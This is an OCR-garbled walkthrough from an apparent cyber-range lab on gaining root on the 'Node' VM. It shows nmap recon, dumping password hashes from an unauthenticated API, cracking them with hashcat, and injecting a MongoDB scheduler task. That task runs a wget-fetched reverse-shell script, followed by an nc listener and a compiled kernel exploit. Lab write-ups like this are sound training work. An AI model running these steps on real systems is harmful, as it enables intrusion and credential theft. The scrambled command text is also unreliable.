D TechData |

CYBER RANGE

Node VM This guide will walk the user through all steps necessary
Walkth rough to attain root on the “Node” VM.

First, as with all targets, begin with a reconnaissance scan, in this case we will use nmap:

:~% nmap -A -n -Pn 4.7.252.100
ap.org ) at 2021-85-28 15:56 EDT

up (@.0185 latency
Mot shown: 998 filtered ports
STATE 5 CE
i 7.2p2 Ubuntu Subuntu2.2 (Ubuntu Linux; protocol 2.8)

:5d:85: Hr ' H
hadoop-tasktracker

cker-info:
i flogin
_http-titl
Service Info: inux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incerre results at https://nmap.org/submit/ .
MHmap done: 1 IP address (1 host up) scanned in 21.21 s 5

The nmap scan reveals SSH (port 22) and Apache Hadoop (port 3000) are open. Running a nikto
scan against port 3000 (seen below) shows the page is powered by Express.

Target IP:
Target Hostname:
Target :

15 not set. This could allow the user agent to render the conten

¥
t of the siteé in & differsmt Fash
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MY PLACE

WELCOME TO MYPLACE

SAY "HEY" TO OUR NEWEST MEMBERS

200

tom mark rastating

WELCOME TO MYPLACE

Browsing the page reveals 3 user pages, as well as a login page.
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<seript type="text/javascript™ sre="yendorsjquerysiguery min, js =</ script>

<seript type="text/javascript® sre="yendor/bogtstrap/js/bootstrap.min,js =</script>
<seript typa="text/javascript” sre="yvendorsangular/angular min, js"></script>
=seript type="text/javascript® sre="vendor/angularfangular-route.min.js"=</script=
<script type="teost/javascript® sre="gssetssissappsapp. iz ></script>

<seript type="tozt/javascript® srem"assets/js/appfoontrollersfhone, j5 =< /script>
<gcript typa="text/javascript” sre="asspts/israpp/oontrollers login, js =< /script>
<script type="text/javascript” sre=" isg;;“g{gm,{ggnjrgugrg adn;n-]g =</ seript>

<script type="text/javascript® sre="gssets/issfappseontrollersiprofile, i "=</script>
_ =seript types“text/javascript® sre=" m r r.min, J§*=/script>

By investigating the source code from these pages, we see that the site also leverages Angular JS.
With the data gathered so far, we can infer that the site is powered by a MEAN stack. By navigating to
these JavaScript pages, there are 2 that stand out (profile.js and home.js) as they refer to a user API.

war controllers = angular.module( controllers®):

eantrollers. . cont reller ' ProfileCtrl”, Tundtlion [$d4ccpe. Shitp, $routeParasd) {
ShTtp. gt Japllusers) " & SrouteParasd, uternae )
therl function {res) {
SLcope.user = red.data:
}. femction (resd {
$afope. hadError = trua;

if (res,status == 484) {
Sscope.errorMessage = "This user dees not exist':
]
elae |
S5.00pe. BrTOrMessape = AN mexpected error ooourred”;

var controllers = angular.module( controllers ) :

cont rollers. contraller] ' HomeCtrl® , fumction iS5scope, shtip) {
shttp.getl " fapifusers/latest" ). then( function (res) {
Sscope_users = res.data;
Hhi
[} H
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By cURL ing the APIs, we see that no authentication is required to get a full dump of the user data.This
data provides password hashes that we can crack offline.

® LS I Al =
2F3335d0@aF" , °
211716239 1BE

% curl &.7.242.18 1 TR "latesty
& r ik -'.-IJ'.4-5.|.1 I 1 | BISEdba s
dldBlFl&Slec? Thad TS5 F 160" y | - ", I:'. A" "BATE" ,
sword® :"deSaladfafedccnlS5l o 3 ¢ F ' i *rfalsal, " i
fHaad EFld 198 Foa9® , “username”™: “rastating®, "pas 1'n|.|"'l"|" *LReSdbIdfadbenS3SE2cRSRc 29bac FRSRGT
,*15_admin® .ul.ai-j-: -5 1

Using hashcat against the hashes, it reveals 3 passwords, most notably the 'myP14ceAdm1nAccOuNT'
password of 'manchester'.

=% hashcat -m 16@@ hashes.tut Jusr/share/wordlisiesSrockyou. ixt —force
hashcat (v5.1.8) starting ...

Platform #1: The pocl pr

M CPU @ 1.686Hr, 1924/2955 ME allocatable, IMCU

& digests; 4 4 igasts 3 o omalits
16 bits, 65 v #REries, B=BRRRFFFF mask I14é bytes, 5711 rotates

Mininus password length supported by kernel: @
Maximm password length supported by kernel: 256
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mark:snowflake
tom:spongebob
myPliceAdminAcc@uNT:manchester

Using the admin credentials on the login page, we are presented with a backup download option:

MYPLACE

WELCOME TO MYPLACE

WELCOME BACK,
MYPI14CEADMINACCOUNT
b
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The file type for the backup is ASCII text, and “cat”ing the file we see that it is base64 encoded.

- % file myplace.backup
myplace. ua-..-.up' ASCII text, with wery long Llines, with no line terminators
% cat myplace.backup [J

1iL3BhcnRpYexzl2
[ J-AIUIAAHIAI’ LIEDS

: £ mv myplace.backup.decoded myplace.zip
: % 1s
myplace.backup
= $ unzip myplace.zip
Archive: myplace.zip
creating: var/www/myplace/
[myplace.zip] var/www/myplace/package-lock.json password: [

CYBERRANGE.TECHDATA.COM 6
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The zip file is password protected. By running fcrackzip against the file, we get the password and can
extract the contents of the archive.

- $ unzip myplace.zip
Archive: myplace.zip
[myplace.zip] var/ws /myplace/package-lock.json password:
i var/we /myplace/package-loc
var,/wei /myplace/node_module
ylace/node_modules/
ylace/node_modules/ C
var/wa /myplace/node_modules/serve-static/index.js
Swes /myplace/node_module
var/we /myplace/node_modules/ser
var /we /myplace/node_module : t cage. json
yplace/node_modules/utils-merge/
var/wa /myplace/node_modules/utils-mer
var/wai /myplace/node_modules/utils-merg
! y g utils-merge/
var/weai/myplace/node_modules/utils-merge/.travis.yml
var/we /myplace/node_modules/utils-merge/package.json
: var/wwi/myplace/node_modules/qs/

$ 1s
package.json package-lock.json

Viewing the “app.js” file, we see some hard-coded credentials for mongoDB.

CYBERRANGE.TECHDATA.COM 7
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The programs included with the Ubuntu system are free s
individual files in fu

Ubuntu comes with ABSOLUTELY WO WARRANTY, to the extent permitted by
applicable Law.

Mon Aug 6 23:32:28 2018 from 10.2.1.1

.l |

Using the credentials we found for Mark, we are able to successfully authenticate to the server via SSH.
However, Mark does not have permissions to view the user.txt file in the /tom directory.

user.txt
markanode :
on denied

We can see above that the user tom is running what appears to be a scheduler app.

CYBERRANGE.TECHDATA.COM 8
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Viewing the code for this scheduler app shows that it will execute a given task if it is in the queue.Using
the credentials, we have; we can add a task in mongoDB that will be triggered by this scheduler app.
The next steps are to set up a listener on the Cyber Range jumpbox, and create a reverse shell to be
used by the scheduler.

:~$ ssh jumperdd.7.242.101
Jumper@h.7.242.101"'s password:
Linux begjump &4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deblou2 (2019-11-11) x86_64

i ip a
,LOWER_UP>» mtu 65536 qdisc noqueue state UNKNOWN group default glen 1008
: 00:00:00 brd 00:00:00:00:00:00

ver préeferred_Lft forever
pe host
ver preferred_Lft forever
DCAST MULTICAST UP, LOWER_UP> mtu 1509 gdisc pfifo_fast state UP group default gle

'I1nh.-"¢tr|r_|r BB 2T:af:6a:98 b F:ff Fi:Ff
lobal dynamic enpdsl

SSH to the jumpbox using the credentials jumper:;jumperl. The ip configuration shows the internal IP
address of the jumbox to be 10.5.1.108 (this will be used in the reverse shell code).

CYBERRANGE.TECHDATA.COM 9
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Reverse shell

Bash g

Using the Hack-Tools plugin for Firefox, we enter in the IP address and port of our listener and get the
Bash shell code to use for the scheduler. We placed this code in a script file called “exploit.sh” on the
jumpbox, and created a simpleHTTP server on port 8080 with Python.

$ wget 18.5.1.104:6080/exploit.sh
2 1B:43:37— http:/f18.5.1.108:8080/ exploit.sh
Connecting to 18.5.1.108:89 wee  CORRBETE.
HTTP request sent, awaiting response ... 200 0K
Length: 5& [text/x-sh]
Saving to: ‘exploit.sh®

exploit.sh [ .. .- 54 ----KB/s in @s

2021-96-02 18:43:37 (8.22 MB/s) - ‘explodt.sh® saved [54/54]

chmod +x exploit.sh

Use wget to download the exploit.sh script into the /var/tmp folder of the target. Change the
permissions on the file to execute.

markanode : $ mongo -u mark -p SAYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> db.tasks.insertOne( { cmd: "bash /var/tmp/exploit.sh® } );
{
"acknowledged® : true,
"insertedId" : ObjectId("606b7c3cd4d47b302b20cBa%¢c")

:.J l

Use mark’s credentials to authenticate to the mongoDB server scheduler. Type the following command:

db.tasks.insertOne( { cmd: “bash /var/tmp/exploit.sh” } );

CYBERRANGE.TECHDATA.COM 10
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jumperabegjump:~% nc -nlvp 1337

listening on [any] 1337 ...

eonnect to [19.5.1.108] from (UMKNOWN) [18.5.3.100] 45974

bash: cannot set terminal process group (1199): Inappropriate ioctl for device
bash: no job control in this shell

To run a command as administrator (user "root®), use “"sudo <command>".
See "man sudo_root" for details.

tomanode: /5

Set up a listener on the jumpbox, and soon we get a call back from the target machine and are now
under the context of user tom.

tom@node:/$ c¢d /home/tom

cd /home/tom

tomanode:~$ 1s

1ls

user.txt

tomanode:~$ cat user.txt

cat user.txt
ell156acc3s574e04bB6988Bect76be91bl
tomanode:~§ |

We now have read permissions for the user.txt file.

rom@node:~§ uname -a

2017 xBE_b& xBE_G65 xBhH_ B4 GNU

CYBERRANGE.TECHDATA.COM "



DTechData|

CYBER RANGE Node VM Walkthrough

To elevate our privileges to root, we see that the Linux version on this server is outdated. Exploit-db
shows an easy-to-use local privilege escalation:

Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation

o] EDE-ID: CVE: Aurthor: Type: Platfor Diate:
m:
B M
EDB Verified: = Exploit: *
= Wulnerable App:
N ° ©
b
=

B2 1B:54:19— ht

snnecting to wer.exploit-d wane . exploft-db.com) |192.124.249.13 | 1443, .. connected.
HTTP reg aiting onSeE ... 200 0K
[text/plain]

100%[ sssanassssesesesenenennsnnennnn} ] 5.BBK —+-KB/fs in @s
2021-06-02 1B:54:19 (G667 MBSs) - "&4298"' saved [G021/6821]

$ls

§ mv A429B MAD29B.c
§ geoc 44298.c -o shell
$ ./shell
g_struct = ffffEEDBZa%deldd
uidptr = ffffEEM@253d1dES
ap root shell
b 8 whoami

Download the exploit code, compile it, and run it.

rootanode:
rootanode: # 1s
root.txt

rootanode: # cat root.txt

1722e99ca5f353b362556a62bd5ebbel
rootanode: # I

We are now root and can read the root.txt flag.
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